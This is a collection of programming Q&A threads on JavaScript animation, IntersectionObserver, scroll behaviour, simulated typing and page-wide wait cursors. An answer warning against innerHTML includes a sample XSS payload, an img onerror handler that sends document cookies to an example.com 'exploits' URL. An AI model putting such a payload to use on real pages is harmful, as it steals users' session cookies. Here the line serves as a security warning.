Each new animated element with IntersectionObserver gets an unwanted delay - javascript

I am using IntersectionObserver to animate every h1 on scroll.
The problem, as you can see in the snippet, is that the animation triggers every time for every h1. This means that every new animation of the intersecting h1 needs to wait for the previous ones to be finished and the result is basically a sort of incremental delay for each new entry.target. That's not what I want.
I tried to remove the anim-text class before and after unobserving the entry.target, but it didn't work.
I think the problem is in the forEach loop inside the //TEXT SPLITTING section, but all my efforts didn't solve the problem.
Thanks in advance for your help!
const titles = document.querySelectorAll("h1");
const titlesOptions = {
root: null,
threshold: 1,
rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
entries,
titlesObserver
) {
entries.forEach(entry => {
if (!entry.isIntersecting) {
return;
} else {
entry.target.classList.add("anim-text");
// TEXT SPLITTING
const animTexts = document.querySelectorAll(".anim-text");
animTexts.forEach(text => {
const strText = text.textContent;
const splitText = strText.split("");
text.textContent = "";
splitText.forEach(item => {
text.innerHTML += "<span>" + item + "</span>";
});
});
// END TEXT SPLITTING
// TITLE ANIMATION
const charTl = gsap.timeline();
charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
opacity: 0,
x: 40,
stagger: 0.1
});
titlesObserver.unobserve(entry.target);
// END TITLE ANIMATION
}
});
},
titlesOptions);
titles.forEach(title => {
titlesObserver.observe(title);
});
* {
color: white;
padding: 0;
margin: 0;
}
.top {
display: flex;
justify-content: center;
align-items: center;
font-size: 2rem;
height: 100vh;
width: 100%;
background-color: #279AF1;
}
h1 {
opacity: 0;
font-size: 4rem;
}
section {
padding: 2em;
height: 100vh;
}
.sec-1 {
background-color: #EA526F;
}
.sec-2 {
background-color: #23B5D3;
}
.sec-3 {
background-color: #F9C80E;
}
.sec-4 {
background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
<h1>FIRST</h1>
</section>
<section class="sec-2">
<h1>SECOND</h1>
</section>
<section class="sec-3">
<h1>THIRD</h1>
</section>
<section class="sec-4">
<h1>FOURTH</h1>
</section>

Let's simplify a bit here, because you're showing way more code than necessary. Also, you're doing some things in a bit of an odd way, so a few tips as well.
You had an if (...) { return } else ..., which doesn't need an else scoping: either the function returns, or we just keep going.
Rather than checking for "not intersecting" and then returning, instead check for insersecting and then run.
You're using string composition using +: stop using that and start using modern templating strings. So instead of "a" + b + "c", you use `a${b}c`. No more +, no more bugs relating to string composition.
You're using .innerHTML assignment: this is incredibly dangerous, especially if someone else's script updated your heading to be literal HTML code like <img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)"> or something. Never use innerHTML, use the normal DOM functions (createElement, appendChild, etc).
You were using a lot of const thing = arrow function without any need for this preservation: just make those normal functions, and benefit from hoisting (all normal functions are bound to scope before any code actually runs)
When using an observer, unobserver before you run the code that needs to kick in for an observed entry, especially if you're running more than a few lines of code. It's not fool proof, but does make it far less likely your entry kicks in a second time when people quicly swipe or scroll across your element.
And finally, of course, the reason your code didn't work: you were selecting all .anim-text span elements. Including headings you already processed. So when the second one scrolled into view, you'd select all span in both the first and second heading, then stagger-animate their letters. Instead, you only want to stagger the letters in the current heading, so given them an id and then query select using #headingid span instead.
However, while 7 sounds like the fix, thanks to how modern text works you still have a potential bug here: there is no guarantee that a word looks the same as "the collection of the letters that make it up", because of ligatures. For example, if you use a font that has a ligature that turns the actual string => into the single glyph ⇒ (like several programming fonts do) then your code will do rather the wrong thing.
But that's not necessarily something to fix right now, more something to be mindful of. Your code does not universally work, but it might be good enough for your purposes.
So with all that covered, let's rewrite your code a bit, throw away the parts that aren't really relevant to the problem, and of course most importantly, fix things:
function revealEntry(h1) {
const text = h1.textContent;
h1.textContent = "";
text.split(``).forEach(part => {
const span = document.createElement('span');
span.textContent = part;
h1.appendChild(span);
});
// THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
// inside _all_ headings with .anim-text, we *only* select
// the spans in _this_ heading:
const textSpans = `#${h1.id} span`;
const to = { opacity: 1 };
const from = { opacity: 0, x: -40, stagger: 1 };
gsap.timeline().set(h1, to).from(textSpans, from);
}
function watchHeadings(entries, observer) {
entries.forEach(entry => {
if (entry.isIntersecting) {
const h1 = entry.target;
observer.unobserve(h1);
revealEntry(h1);
}
});
};
const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
opacity: 0;
font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>

Related

Scroll horizontal scroll bar automatically from left to right [duplicate]

I thought this would be fairly easy but I'm stuck.
My code is executing and ignoring the setTimeout.
I am getting the scroll width of my element, then saying while i is less than the width (flavoursScrollWidth), move the horizontal scroll 1px along every second.
That isn't what is happening though, it just executes each pixel movement almost instantly.
I also tried taking the code out of the load event and taking the setTimeout out of the while loop. Then creating a function containing the while loop, and calling the function in a setInterval. Didn't help.
const flavoursContainer = document.getElementById("flavoursContainer")
const flavoursScrollWidth = flavoursContainer.scrollWidth
window.addEventListener("load", () => {
let i = 0
while (i < flavoursScrollWidth) {
setTimeout(flavoursContainer.scrollTo(i, 0), 1000)
console.log(i)
i++;
}
})
.container {
width:300px;
overflow-x:scroll;
white-space: nowrap;
}
<div class="container" id="flavoursContainer">
This is a really long sentence to demo my code, it's just going on and on. Still going. I should have used some default placeholder text but I've started now so I'll keep going.
</div>
I would suggest using setInterval rather than setTimeout and just checking if the container is scrolled to the end. I also found that if you scroll faster, like every 15ms, you get a smoother user experience.
const flavoursContainer = document.getElementById('flavoursContainer');
const flavoursScrollWidth = flavoursContainer.scrollWidth;
window.addEventListener('load', () => {
self.setInterval(() => {
if (flavoursContainer.scrollLeft !== flavoursScrollWidth) {
flavoursContainer.scrollTo(flavoursContainer.scrollLeft + 1, 0);
}
}, 15);
});
.container {
width: 300px;
overflow-x: scroll;
white-space: nowrap;
background-color: #fff;
}
<div class="container" id="flavoursContainer">
This is a really long sentence to demo my code, it's just going on and on. Still going. I should have used some default placeholder text but I've started now so I'll keep going.
</div>

How can I programmatically simulate typing in a contenteditable HTML element?

I need to simulate the interaction of a user typing into a contenteditable HTML element programmatically.
I cannot use things such as HTMLElement.onkeypress() or HTMLElement.fire().
I cannot modify the actual code or content of the element using element.innerHTML or element.textContent, I need a way to simulate it.
You could use Document.execCommand() with the insertText command, which will also fire input events automatically:
const editor = document.getElementById('editor');
editor.oninput = (e) => console.log('Input');
setTimeout(() => {
editor.focus();
document.execCommand('insertText', false, 'Inserted text...\n\n');
}, 1000);
body {
display: flex;
flex-direction: column;
font-family: monospace;
}
#editor {
box-shadow: 0 0 32px 0 rgba(0, 0, 0, .125);
border-radius: 2px;
min-height: 64px;
padding: 16px;
outline: none;
}
<div id="editor" contenteditable="true"></div>
However, note that's currently obsolete and even before it was inconsistent across different browser (same as contenteditable):
Obsolete
This feature is obsolete. Although it may still work in some browsers, its use is discouraged since it could be removed at any time. Try to avoid using it.
You can do something like this:
const element = document.querySelector('div');
const text = "This is my text";
var i = 0;
function type() {
setTimeout(function() {
element.textContent += text.charAt(i);
i++;
if (i < text.length) {
type();
}
}, 500)
}
type();
<div contenteditable="true"></div>
It seems like an user is slowly typing in the div. You can tweak the speed by changing the 500 argument.
If you just need to simulate a user's input, you can use scriptable browsers like puppeteer.
It is a nodejs package, it gives you a browser that you can control from your code, and it has exactly the thing you need. You can even control the speed of typing, etc.
Here is a sample code that opens a google page and enters the text "Hello world :D" in the search box
const puppeteer = require("puppeteer");
async function main() {
let browser = await puppeteer.launch();
let page = await browser.pages().then((pages) => pages[0]);
await page.goto("https://google.com");
await page.type('input[name="q"]', "Hello world :D", {
delay: 50
});
}
main();

realtime visual insertion sort has gaps and output is delayed

Okay so i'm relatively new to JS but have plenty of experience with python and java.
I have 2 questions with my code that I need assistance with. First here's an explanation and background of my code.
Ideally I want the simplest structured visual sort program that i can use as a base going forward with my coding progression to reference. I started by maximizing a container div which is used to populate with an x amount of divs .bars, the width and placement of the divs is handled automatically by flexbox as they are inserted. The height of each added div is generated randomly and stored within each individual elements attributes. I have all that done, easy. Then i made a element swapper function that swaps an elements position within thew DOM, that works perfect. Now for my questions. I would like to see the elements being sorted in real time as the for loops iterate but instead they are not updated until the loops end. And also My Insertion algorithm which i cannot find any errors in is not working properly but I dont think my approach in how it functions is wrong. Any help would be extremely appreciated. It should be very very easy to figure out for someone else.
const sortDisplay = document.getElementById('sortDisplay');
let resetbtn = document.querySelector('.reset');
resetbtn.addEventListener('click', reset);
let count = 0;
let amount = 100;
// create div that has custom attribute value, unique style tag, default bar style and append.
function generateBar() {
// generate div
let bar = document.createElement('div');
// keep track of the total amount of bars
count++;
// assign random number 0-100 and setAttribute to the div
let temp = Math.floor(Math.random() * 101);
// create custom attribute that holds its value
bar.setAttribute('value', temp);
// create unique style tag with height as a percentage based on Attribute
let barHeight = document.createElement('style');
barHeight.innerHTML = `.barHeight${count} {height: ${temp}%;}`;
// add that unique style to the DOM
sortDisplay.appendChild(barHeight);
// now add that unique style to the div
bar.classList.add(`barHeight${count}`);
// use standard style from css as well
bar.classList.add('sortBar');
// now add that div to the DOM
sortDisplay.appendChild(bar);
}
// clear container div and regenerate
function reset() {
// clear all data within the container
sortDisplay.innerHTML = '';
// reset the count
count = 0;
// generate k bars
for (let i = 0; i < amount; i++) {
generateBar();
}
}
// when page is loaded reset
reset(amount);
// swap elements within the DOM
function swapElements(obj1, obj2) {
// create marker element and insert it above where obj1 is
var temp = document.createElement("div");
obj1.parentNode.insertBefore(temp, obj1);
// move obj1 to right before obj2
obj2.parentNode.insertBefore(obj1, obj2);
// move obj2 to right before where obj1 used to be
temp.parentNode.insertBefore(obj2, temp);
// remove temporary marker node
temp.parentNode.removeChild(temp);
}
// sort the divs within the DOM
function sort() {
for (let i = 1; i < amount; i++) {
let j = i;
for (j; j > 0; j--) {
if (document.querySelectorAll('.sortBar')[j].getAttribute('value') < document.querySelectorAll('.sortBar')[j-1].getAttribute('value')) {
swapElements(document.querySelectorAll('.sortBar')[j], document.querySelectorAll('.sortBar')[j-1]);
}
else {
break;
}
}
}
}
// Button to run the sort function
button = document.querySelector('.button');
button.addEventListener('click', sort);
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
height: 100vh;
width: 100%;
}
.sortDisplay {
background-color: #305c50;
background-image: linear-gradient(28deg, #305c50 0%, #6ab19e 70%, #82d8a6 100%);
display: flex;
align-items: flex-end;
justify-content: space-between;
height: 100%;
width: 100%;
overflow: hidden;
}
.btn-container {
position: absolute;
right: 0;
bottom: 0;
margin: 25px;
}
.btn-container button {
padding: 25px;
}
.sortBar {
flex: 1;
background-color: #0007;
}
<div class="btn-container">
<button class="reset">reset</button>
<button class="button">button</button>
</div>
<div id="sortDisplay"class="sortDisplay"></div>
The bug is very minor: you are comparing strings, and not numbers in your sort. Add a number conversion:
if (+document.querySelectorAll('.sortBar')[j].getAttribute('value') < +document.querySelectorAll('.sortBar')[j-1].getAttribute('value')) {
As strings, e.g. "3" > "29".
The visualization isn't "visible real time", because the code finishes really really fast, and also without ever relieving control and waiting for a DOM-rerender. There are some minor issues with forcing DOM to re-render, but i don't think it's of much importance here.
To fix this, add a delay into the loops, this is very simple, all you need is a canonical delay function (const delay = ms => new Promise(res => setTimeout(res, ms));), an async in front of your sort (async function sort), and the appropriate delay between swaps (await delay(DELAY_BETWEEN_SWAPS);, 25ms currently. The exact time is not guaranteed, it may take e.g. 22ms once, and 27ms the next time, due to a variety of factors, but that's not too important).
However, this causes issues with cancellation: it's now possible, to reset, while the sorting is still going on (the dilemma of asnychronicity). Therefore, it's necessary to check, whether the current sorting has been cancelled, or not. Therefore a cancellation token for each sort process is required, which can be used to stop the old sort, when pressing reset. Last but least, starting a new sort (just pressing "button"), automatically cancels the last sort as well.
Note, that i am showing some concepts, but not necessarily code that would win beauty awards. I am also not changing anything that "works but I wouldn't do that way" - e.g. i'd prefer a canvas over doing an animation with tons of DOM-updates.
Working version:
const sortDisplay = document.getElementById('sortDisplay');
let resetbtn = document.querySelector('.reset');
resetbtn.addEventListener('click', reset);
const DELAY_BETWEEN_SWAPS = 25;
const delay = ms => new Promise(res => setTimeout(res, ms));
let cancelLast = () => {};
let count = 0;
let amount = 100;
// create div that has custom attribute value, unique style tag, default bar style and append.
function generateBar() {
// generate div
let bar = document.createElement('div');
// keep track of the total amount of bars
count++;
// assign random number 0-100 and setAttribute to the div
let temp = Math.floor(Math.random() * 101);
// create custom attribute that holds its value
bar.setAttribute('value', temp);
// create unique style tag with height as a percentage based on Attribute
let barHeight = document.createElement('style');
barHeight.innerHTML = `.barHeight${count} {height: ${temp}%;}`;
// add that unique style to the DOM
sortDisplay.appendChild(barHeight);
// now add that unique style to the div
bar.classList.add(`barHeight${count}`);
// use standard style from css as well
bar.classList.add('sortBar');
// now add that div to the DOM
sortDisplay.appendChild(bar);
}
// clear container div and regenerate
function reset() {
cancelLast();
// clear all data within the container
sortDisplay.innerHTML = '';
// reset the count
count = 0;
// generate k bars
for (let i = 0; i < amount; i++) {
generateBar();
}
}
// when page is loaded reset
reset(amount);
// swap elements within the DOM
function swapElements(obj1, obj2) {
// create marker element and insert it above where obj1 is
var temp = document.createElement("div");
obj1.parentNode.insertBefore(temp, obj1);
// move obj1 to right before obj2
obj2.parentNode.insertBefore(obj1, obj2);
// move obj2 to right before where obj1 used to be
temp.parentNode.insertBefore(obj2, temp);
// remove temporary marker node
temp.parentNode.removeChild(temp);
}
// sort the divs within the DOM
async function sort(cancellationChecker) {
for (let i = 1; i < amount; i++) {
let j = i;
for (j; j > 0; j--) {
if (cancellationChecker()) return;
if (+document.querySelectorAll('.sortBar')[j].getAttribute('value') < +document.querySelectorAll('.sortBar')[j-1].getAttribute('value')) {
swapElements(document.querySelectorAll('.sortBar')[j], document.querySelectorAll('.sortBar')[j-1]);
await delay(DELAY_BETWEEN_SWAPS);
}
else {
break;
}
}
}
}
function btnSort() {
let cancelled = false;
cancelLast();
cancelLast = () => cancelled = true;
sort(() => cancelled);
}
// Button to run the sort function
button = document.querySelector('.button');
button.addEventListener('click', btnSort);
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
height: 100vh;
width: 100%;
}
.sortDisplay {
background-color: #305c50;
background-image: linear-gradient(28deg, #305c50 0%, #6ab19e 70%, #82d8a6 100%);
display: flex;
align-items: flex-end;
justify-content: space-between;
height: 100%;
width: 100%;
overflow: hidden;
}
.btn-container {
position: absolute;
right: 0;
bottom: 0;
margin: 25px;
}
.btn-container button {
padding: 25px;
}
.sortBar {
flex: 1;
background-color: #0007;
}
<div class="btn-container">
<button class="reset">reset</button>
<button class="button">button</button>
</div>
<div id="sortDisplay"class="sortDisplay"></div>

Detects when an element cross any div of a certain class

I have a dark-colored menu that sometimes crosses over sections with the same dark background, so am trying to switch its class to change its colors everytime it crosses over dark colored sections.
$(window).scroll(function(){
var fixed = $("section.fixed-header");
var fixed_position = $("section.fixed-header").offset().top;
var fixed_height = $("section.fixed-header").height();
var toCross_position = $(".dark").offset().top;
var toCross_height = $(".dark").height();
if (fixed_position + fixed_height < toCross_position) {
fixed.removeClass('light-menu');
} else if (fixed_position > toCross_position + toCross_height) {
fixed.removeClass('light-menu');
} else {
fixed.addClass('light-menu');
}
});
This works fine when I only have one div with the dark class inside the same page. However, if there are several different divs with the dark class inside the same page, it will only work for the first div. How could I include all the other divs with the same dark class in here?
Instead of listening to scroll event you should have a look at Intersection Observer (IO).
This was designed to solve problems like yours. And it is much more performant than listening to scroll events and then calculating the position yourself.
Of course you can continue using just scroll events, the official Polyfill from W3C uses scroll events to emulate IO for older browsers. Listening for scroll event and calculating position is not performant, especially if there are multiple elements. So if you care about user experience I really recommend using IO. Just wanted to add this answer to show what the modern solution for such a problem would be.
I took my time to create an example based on IO, this should get you started.
Basically I defined two thresholds: One for 20 and one for 90%. If the element is 90% in the viewport then it's save to assume it will cover the header. So I set the class for the header to the element that is 90% in view.
Second threshold is for 20%, here we have to check if the element comes from the top or from the bottom into view. If it's visible 20% from the top then it will overlap with the header.
Adjust these values and adapt the logic as you see.
Edit: Edited it according to your comment, please note that you may see the effect better if you remove the console.log from my code so they don't clutter up your view.
I added one div where the header doesn't change (the green one)
const sections = document.querySelectorAll('.menu');
const config = {
rootMargin: '0px',
threshold: [.2, .9]
};
const observer = new IntersectionObserver(function (entries, self) {
entries.forEach(entry => {
console.log(entry); // log the IO entry for demo purposes
console.log(entry.target); // here you have the Element itself.
// you can test for className here for example
if (entry.isIntersecting) {
var headerEl = document.querySelector('header');
if (entry.intersectionRatio > 0.9) {
//intersection ratio bigger than 90%
//-> set header according to target
headerEl.className=entry.target.dataset.header;
} else {
//-> check if element is coming from top or from bottom into view
if (entry.target.getBoundingClientRect().top < 0 ) {
headerEl.className=entry.target.dataset.header;
}
}
}
});
}, config);
sections.forEach(section => {
observer.observe(section);
});
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
.g-100vh {
height: 100vh
}
header {
min-height: 50px;
position: fixed;
background-color: green;
width: 100%;
}
header.white-menu {
color: white;
background-color: black;
}
header.black-menu {
color: black;
background-color: white;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<header>
<p>Header Content </p>
</header>
<div class="grid-30-span g-100vh menu" style="background-color:darkblue;" data-header="white-menu">
<img
src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 1.414 1'%3E%3C/svg%3E"
data-src="/images/example_darkblue.jpg"
class="lazyload"
alt="<?php echo $title; ?>">
</div>
<div class="grid-30-span g-100vh no-menu" style="background-color:green;" data-header="black-menu">
<h1> Here no change happens</h1>
<p>it stays at whatever state it was before, depending on if you scrolled up or down </p>
</div>
<div class="grid-30-span g-100vh menu" style="background-color:lightgrey;" data-header="black-menu">
<img
src="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 1.414 1'%3E%3C/svg%3E"
data-src="/images/example_lightgrey.jpg"
class="lazyload"
alt="<?php echo $title; ?>">
</div>
The reason is that however the JQuery selector selects all elements with .dark classes, when you chain the .offset().top or .height() methods on it, it will only save the first one into the variable:
var toCross_position = $(".dark").offset().top;
var toCross_height = $(".dark").height();
You could map all positions and heights into arrays and then you should also make the
var toCross_position = $(".dark").offset().top;
var toCross_height = $(".dark").height();
// only the first div's pos and height:
console.log(toCross_height, toCross_position);
var positions = $('.dark').toArray().map(elem => $(elem).offset().top);
var heights = $('.dark').toArray().map(elem => $(elem).height());
console.log('all .dark positions:', positions);
console.log('all .dark heights:', heights);
.dark {
background-color: #222;
color: white;
margin-bottom: 2rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<div class="dark">Dark</div>
<div class="dark">Dark</div>
<div class="dark">Dark</div>
<div class="dark">Dark</div>
check if your header crosses them by looping through those values.

Wait cursor over entire html page

Is it possible to set the cursor to 'wait' on the entire html page in a simple way? The idea is to show the user that something is going on while an ajax call is being completed. The code below shows a simplified version of what I tried and also demonstrate the problems I run into:
if an element (#id1) has a cursor style set it will ignore the one set on body (obviously)
some elements have a default cursor style (a) and will not show the wait cursor on hover
the body element has a certain height depending on the content and if the page is short, the cursor will not show below the footer
The test:
<html>
<head>
<style type="text/css">
#id1 {
background-color: #06f;
cursor: pointer;
}
#id2 {
background-color: #f60;
}
</style>
</head>
<body>
<div id="id1">cursor: pointer</div>
<div id="id2">no cursor</div>
Do something
</body>
</html>
Later edit...
It worked in firefox and IE with:
div#mask { display: none; cursor: wait; z-index: 9999;
position: absolute; top: 0; left: 0; height: 100%;
width: 100%; background-color: #fff; opacity: 0; filter: alpha(opacity = 0);}
<a href="#" onclick="document.getElementById('mask').style.display = 'block'; return false">
Do something</a>
The problem with (or feature of) this solution is that it will prevent clicks because of the overlapping div (thanks Kibbee)
Later later edit...
A simpler solution from Dorward:
.wait, .wait * { cursor: wait !important; }
and then
Do something
This solution only shows the wait cursor but allows clicks.
If you use this slightly modified version of the CSS you posted from Dorward,
html.wait, html.wait * { cursor: wait !important; }
you can then add some really simple jQuery to work for all ajax calls:
$(document).ready(function () {
$(document).ajaxStart(function () { $("html").addClass("wait"); });
$(document).ajaxStop(function () { $("html").removeClass("wait"); });
});
or, for older jQuery versions (before 1.9):
$(document).ready(function () {
$("html").ajaxStart(function () { $(this).addClass("wait"); });
$("html").ajaxStop(function () { $(this).removeClass("wait"); });
});
I understand you may not have control over this, but you might instead go for a "masking" div that covers the entire body with a z-index higher than 1. The center part of the div could contain a loading message if you like.
Then, you can set the cursor to wait on the div and don't have to worry about links as they are "under" your masking div. Here's some example CSS for the "masking div":
body { height: 100%; }
div#mask { cursor: wait; z-index: 999; height: 100%; width: 100%; }
This seems to work in firefox
<style>
*{ cursor: inherit;}
body{ cursor: wait;}
</style>
The * part ensures that the cursor doesn't change when you hover over a link. Although links will still be clickable.
I have been struggling with this problem for hours today.
Basically everything was working just fine in FireFox but (of course) not in IE.
In IE the wait cursor was showing AFTER the time consuming function was executed.
I finally found the trick on this site:
http://www.codingforums.com/archive/index.php/t-37185.html
Code:
//...
document.body.style.cursor = 'wait';
setTimeout(this.SomeLongFunction, 1);
//setTimeout syntax when calling a function with parameters
//setTimeout(function() {MyClass.SomeLongFunction(someParam);}, 1);
//no () after function name this is a function ref not a function call
setTimeout(this.SetDefaultCursor, 1);
...
function SetDefaultCursor() {document.body.style.cursor = 'default';}
function SomeLongFunction(someParam) {...}
My code runs in a JavaScript class hence the this and MyClass (MyClass is a singleton).
I had the same problems when trying to display a div as described on this page. In IE it was showing after the function had been executed. So I guess this trick would solve that problem too.
Thanks a zillion time to glenngv the author of the post. You really made my day!!!
Easiest way I know is using JQuery like this:
$('*').css('cursor','wait');
css: .waiting * { cursor: 'wait' }
jQuery: $('body').toggleClass('waiting');
Why don't you just use one of those fancy loading graphics (eg: http://ajaxload.info/)? The waiting cursor is for the browser itself - so whenever it appears it has something to do with the browser and not with the page.
To set the cursor from JavaScript for the whole window, use:
document.documentElement.style.cursor = 'wait';
From CSS:
html { cursor: wait; }
Add further logic as needed.
Try the css:
html.waiting {
cursor: wait;
}
It seems that if the property body is used as apposed to html it doesn't show the wait cursor over the whole page. Furthermore if you use a css class you can easily control when it actually shows it.
Here is a more elaborate solution that does not require external CSS:
function changeCursor(elem, cursor, decendents) {
if (!elem) elem=$('body');
// remove all classes starting with changeCursor-
elem.removeClass (function (index, css) {
return (css.match (/(^|\s)changeCursor-\S+/g) || []).join(' ');
});
if (!cursor) return;
if (typeof decendents==='undefined' || decendents===null) decendents=true;
let cname;
if (decendents) {
cname='changeCursor-Dec-'+cursor;
if ($('style:contains("'+cname+'")').length < 1) $('<style>').text('.'+cname+' , .'+cname+' * { cursor: '+cursor+' !important; }').appendTo('head');
} else {
cname='changeCursor-'+cursor;
if ($('style:contains("'+cname+'")').length < 1) $('<style>').text('.'+cname+' { cursor: '+cursor+' !important; }').appendTo('head');
}
elem.addClass(cname);
}
with this you can do:
changeCursor(, 'wait'); // wait cursor on all decendents of body
changeCursor($('#id'), 'wait', false); // wait cursor on elem with id only
changeCursor(); // remove changed cursor from body
I used a adaptation of Eric Wendelin's solution. It will show a transparent, animated overlay wait-div over the whole body, the click will be blocked by the wait-div while visible:
css:
div#waitMask {
z-index: 999;
position: absolute;
top: 0;
right: 0;
height: 100%;
width: 100%;
cursor: wait;
background-color: #000;
opacity: 0;
transition-duration: 0.5s;
-webkit-transition-duration: 0.5s;
}
js:
// to show it
$("#waitMask").show();
$("#waitMask").css("opacity"); // must read it first
$("#waitMask").css("opacity", "0.8");
...
// to hide it
$("#waitMask").css("opacity", "0");
setTimeout(function() {
$("#waitMask").hide();
}, 500) // wait for animation to end
html:
<body>
<div id="waitMask" style="display:none;"> </div>
... rest of html ...
My Two pence:
Step 1:
Declare an array. This will be used to store the original cursors that were assigned:
var vArrOriginalCursors = new Array(2);
Step 2:
Implement the function cursorModifyEntirePage
function CursorModifyEntirePage(CursorType){
var elements = document.body.getElementsByTagName('*');
alert("These are the elements found:" + elements.length);
let lclCntr = 0;
vArrOriginalCursors.length = elements.length;
for(lclCntr = 0; lclCntr < elements.length; lclCntr++){
vArrOriginalCursors[lclCntr] = elements[lclCntr].style.cursor;
elements[lclCntr].style.cursor = CursorType;
}
}
What it does:
Gets all the elements on the page. Stores the original cursors assigned to them in the array declared in step 1. Modifies the cursors to the desired cursor as passed by parameter CursorType
Step 3:
Restore the cursors on the page
function CursorRestoreEntirePage(){
let lclCntr = 0;
var elements = document.body.getElementsByTagName('*');
for(lclCntr = 0; lclCntr < elements.length; lclCntr++){
elements[lclCntr].style.cursor = vArrOriginalCursors[lclCntr];
}
}
I have run this in an application and it works fine.
Only caveat is that I have not tested it when you are dynamically adding the elements.
BlockUI is the answer for everything. Give it a try.
http://www.malsup.com/jquery/block/
This pure JavaScript seems to work pretty well ... tested on FireFox, Chrome, and Edge browsers.
I'm not sure about the performance of this if you had an overabundance of elements on your page and a slow computer ... try it and see.
Set cursor for all elements to wait:
Object.values(document.querySelectorAll('*')).forEach(element => element.style.cursor = "wait");
Set cursor for all elements back to default:
Object.values(document.querySelectorAll('*')).forEach(element => element.style.cursor = "default");
An alternative (and perhaps a bit more readable) version would be to create a setCursor function as follows:
function setCursor(cursor)
{
var x = document.querySelectorAll("*");
for (var i = 0; i < x.length; i++)
{
x[i].style.cursor = cursor;
}
}
and then call
setCursor("wait");
and
setCursor("default");
to set the wait cursor and default cursor respectively.
Lots of good answers already, but none of them mentions the <dialog> element.
Using this element we can create a solution similar to the masking <div>.
Here we use showModal() to "hide" elements, and we use ::backdrop to set the cursor style to wait on the entire page:
function showWaitDialog() {
document.getElementById('id_dialog').showModal();
}
#id_dialog, #id_dialog::backdrop {
cursor: wait;
}
<button onclick="showWaitDialog()">click me</button>
<dialog id="id_dialog">busy...</dialog>
The dialog is hidden by default, and can be shown using either the show() method, or the showModal() method, which prevents clicking outside the dialog.
The dialog can be forced to close using the close() method, if necessary.
However, if your button links to another page, for example, then the dialog will disappear automatically as soon as the new page is loaded.
Note that the dialog can also be closed at any time by hitting the Esc key.
CSS can be used to style the dialog however you like.
The example uses the html onclick attribute, just for simplicity. Obviously, addEventListener() could also be used.
Late to the party but simply give the Html tag an id by targeting
document.documentElement
and in the CSS place at the top
html#wait * {
cursor: wait !important;
}
and simply remove it when you want to stop this cursor.

Categories

Resources